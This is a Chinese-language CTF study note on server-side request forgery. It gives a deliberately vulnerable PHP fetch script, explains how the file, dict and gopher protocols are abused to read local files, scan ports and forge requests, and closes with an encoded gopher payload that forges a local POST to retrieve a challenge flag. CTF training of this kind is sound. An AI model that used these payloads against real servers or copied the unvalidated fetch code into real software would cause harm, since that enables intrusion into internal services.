漏洞函数
curl_exec()
file_get_contents() basectf有相关题目
fsockopen()
//示例代码 index.php
<?php
error_reporting(0);
if(!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
$domain = parse_url($url,PHP_URL_HOST);
//可能存在的过滤代码
//curl 会话初始化
$ch = curl_init();
//设置 cURL要访问的 URL
curl_setopt($ch,CURLOPT_URL,$url);
//设置是否返回响应头,0表示不返回
curl_setopt($ch,CURLOPT_HEADER,0);
//执行 cURL 请求
curl_exec($ch);
//关闭 cURL资源,并释放系统资源
curl_close($ch);
?>
伪协议
伪协议:能够达到协议级的功能,但并不属于协议
FILE协议:访问本地计算机中的文件 file://文件绝对路径和文件名
DICT协议:在线网络字典协议 dict://
HTTP协议:超文本传输协议 http://
Gopher协议:分发、搜索文档的协议 gopher://IP:PORT/_<gopher-path?
除此之外还有:SFTP协议、TFTP协议、LDAP协议、SMTP协议
file://文件绝对路径和文件名 -> 读取本地敏感文件
dict:?/ -> 端口扫描
http:// -> 目录爆破/GET请求
gopher://IP:PORT/_<gopher-path> -> GET、POST请求
利用手法
命令执行
SQL注入
文件上传
MySQL、redis未授权利用
FastCGI
盲SSRF
关键问题:
1、GET or POST
2、URL编码问题 (有时候需要经过两次甚至三次URL编码)
3、Bypass
CTFhub例题
内网访问
直接把url输一下,猜测flag就在根目录即可
POST请求
/var/www/html/flag.php源码
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
/flag.php 源码
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=2702698d7735f45584b123d6b21cbb53-->
</form>
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=2702698d7735f45584b123d6b21cbb53
使用gopher协议来构造post请求,具体格式:
gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
最终payload:?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D2702698d7735f45584b123d6b21cbb53